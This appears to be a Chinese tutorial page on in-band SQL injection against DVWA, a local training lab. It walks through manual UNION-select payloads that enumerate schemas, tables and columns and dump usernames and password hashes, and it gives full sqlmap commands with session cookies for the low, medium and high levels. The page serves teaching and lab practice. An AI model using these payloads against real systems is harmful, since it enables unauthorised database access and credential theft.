DVWA中SQL回显注入
一.SQL注入简介
1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句。
SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据,或者利用潜在的数据库漏洞进行攻击。
1.2 SQL注入漏洞威胁
(1).猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
(2).绕过认证,列如绕过验证登录网站后台。
(3).注入可以借助数据库的存储过程进行提权等操作。
1.3 基础知识
1.3.1 服务器将提交的参数拼接到要执行的SQL语句中。
一般首先找到有数据库交互的功能页面(例如:?参数=)
正常的SQL语句:select name from tablename where name=’admin’ and passwd=’xxxxxxxxxxxxx’
1.3.2 常用函数:version() user() database()
1.3.3 where 语句
... where user_id = 1 or 1 = 1 数字型
... where user_id = ‘1’ or ‘1’ = ‘1’ 字符型
... where user_id = “1” or “1” = “1”
1.3.4 三种MySQL注释符
(1) #(忽略),# 后面的数据会被忽略掉;单行注释,注意与url中#区分,常编码成%23
(2)-- (忽略),和#类似;注意是:短线短线空格
(3)/*(忽略)*/,多行注释;至少有两处输入;/**/注入中常用来作为空格
二.SQL回显注入(数据库的执行结果直接显示在页面上)
等级 :LOW
1.手工注入
(1)我们可以通过以下步骤判断这里是否存在注入点
输入”1”提交
输入“1’”提交 ,会报错
知道这个表单存在注入漏洞
猜测一下这个SQL语句长啥样?
Select firstname,sunname from xxx(表)
Select firstname,sunname from xxx where userid=我们输入的id
(2) 确定查询字段数/测试查询信息列数
1’ order by 1--
1’ order by 10--
(3) 确定回显点
(4) 查数据库名,数据库版本,用户名
' union select version(),database()--
' union select database(),user()--
爆库名 union select 1,schema_name from information_schema.schemata
(5) 查数据表名
' union select 1,table_name from information_schema.tables where table_schema='dvwa'--
(6) 查列/字段名
' union select 1,column_name from information_schema.columns where table_name='users'--
(7) 查看字段中的信息
' union select user,password from users--
- 自动注入(sqlmap)
(1)登录状态 --cookie
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6"
发现有基于布尔类型的SQL盲注;基于错误回显的SQL注入;基于时间延迟的SQL盲注。
(2) 获取数据库和用户名信息
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" --current-user --current-db
(3) 查询数据库中表的信息
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa --tables
(4) 查询表中字段的信息
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users --column
(5) 查字段信息用户名和密码
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users -C"user,password" --dump
等级:Medium
- 自动注入(sqlmap)
Post提供数据使用--data
(1) 查看是否有注入点
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=vq40mm0taa1ajcj1mumriq9026"
发现有基于布尔类型的SQL盲注;基于错误回显的SQL注入;基于时间延迟的SQL盲注。
(2) 查看数据库和用户名信息
下面步骤与low等级相同操作
等级:high
- 手工注入
与low等级相同
- 自动注入(sqlmap)
注入的点和返回的点不在同一个页面
--second-url:指定返回的页面
(1)查询注入点
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/"
(3) 有哪些数据库
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" --dbs
(4) 有哪些表
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" --tables
(5) 有哪些字段
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" -T "users" --columns
(6) 字段信息
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" -T "users" -C"user,password" --dump
DVWA中SQL回显注入的更多相关文章
- sql回显注入(满满的干货)
三种注入poc where user_id = 1 or 1=1 where user_id = '1' or '1'='1' where user_id =" 1 "or &qu ...
- sql回显注入-笔记
拼接sql命令查询数据 注释 常用于sql注入 # 井号 单行注释 注意:URL编码 %23 -- 两个减号加空格 单行注释 /* ...
- 捅伊朗黑客PP — 后台登陆POST+错误回显 注入
看了一个泰国政府的网站被伊朗的黑客挂页,上面写着“Your Box 0wn3z By Behrooz_Ice – Q7x -Sha2ow -Virangar -Ali_Eagle -iman_takt ...
- EasyUI在window中使用kindeditor 4.1.10在IE9中不能回显、获得焦点编辑的问题
描述 :kindeditor4.1.10版本是当前最新的版本,在浏览器兼容性和功能方面都是值得一赞的,在开发中能方便快捷的满足一些开发需求. 问题 : 问题总是有的. 在使用过程中,遇到EasyU ...
- 巧用DNSlog实现无回显注入
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...
- 巧用DNSlog实现无回显注入【转载】
原作者:afanti 原出处:https://www.cnblogs.com/afanti/p/8047530.html 0x00 简介 测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行 ...
- 利用DNSLog实现无回显注入
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入 DNSLOG ...
- SpringMVC【参数绑定、数据回显、文件上传】
前言 本文主要讲解的知识点如下: 参数绑定 数据回显 文件上传 参数绑定 我们在Controller使用方法参数接收值,就是把web端的值给接收到Controller中处理,这个过程就叫做参数绑定.. ...
- select初始化添加option,通过标签给出回显值,由于回显值和初始化值option中有一个值重复,去重等问题!
第一张图片: 第二张图片 /** *该方法是为了去重,所谓去重就是 因为回显给select附上了值并设置为selected选中状态,而在我们初始化所有的select添加option元素中于回显的值重复 ...
随机推荐
- spring----spring中的注解@service等的作用
service 是有用的相当于 xml配置中得bean id = service 也可以不指定 不指定相当于 bean id = com. service.service 就是这个类的全限定名 ...
- css Media Query详解
Media Queries详解 Media Queries直译过来就是“媒体查询”,在我们平时的Web页面中head部分常看到这样的一段代码: 1 <link href="css/re ...
- Appium的DesiredCapabilities参数设置
Appium的DesiredCapabilities参数设置 DesiredCapabilities 负责启动服务端时的参数设置.实际使用时根据自己的需要,可自行修改一些参数. 比如,应用程序在查找某 ...
- oozie说明(本文参考多处,自己留看)
Oozie概述: Oozie是一个基于Hadoop工作流引擎,也可以称为调度器,它以xml的形式写调度流程,可以调度mr,pig,hive,shell,jar,spark等等.在实际工作中,遇到对数据 ...
- [原] Android自动打包之命令行打包
Android自动打包流程详细图: 总结为以下几个步骤: 1. 生成R文件 2. Java代码编译成class文件 3. class文件生成dex文件 4. 打包资源 5. 生成apk 6. 创建密匙 ...
- pthread 的几个结构体
http://blog.csdn.net/yangzhongxuan/article/details/7397139 /* Copyright (C) 2002,2003,2004,2005,2006 ...
- python:递归函数
1,初识递归函数 1)什么是递归函数? 在函数中自己调用自己叫做递归函数 递归函数超过一定程度会报错.---RecursionError: maximum recursion dep th excee ...
- ACM-ICPC(10 / 10)——(完美世界2017秋招真题)
今天学了莫比乌斯反演,竟然破天荒的自己推出来了一个题目!有关莫比乌斯反演的题解,和上次的01分数规划的题解明天再写吧~~~ 学长们都在刷面试题,我也去试了试,120分钟,写出6题要有一点熟练度才行.先 ...
- 【[JLOI2014]松鼠的新家】
//第一次A掉紫题就来写题解,我是不是疯了 //说实话这道题还是比较裸的树上差分 //对于树上的一条路径(s,t),我们只需要把ch[s]++,ch[t]++,ch[LCA(S,T)]--,再把lca ...
- application配置和profile隔离配置
前言 github: https://github.com/vergilyn/SpringBootDemo 说明:我代码的结构是用profile来区分/激活要加载的配置,从而在一个project中写各 ...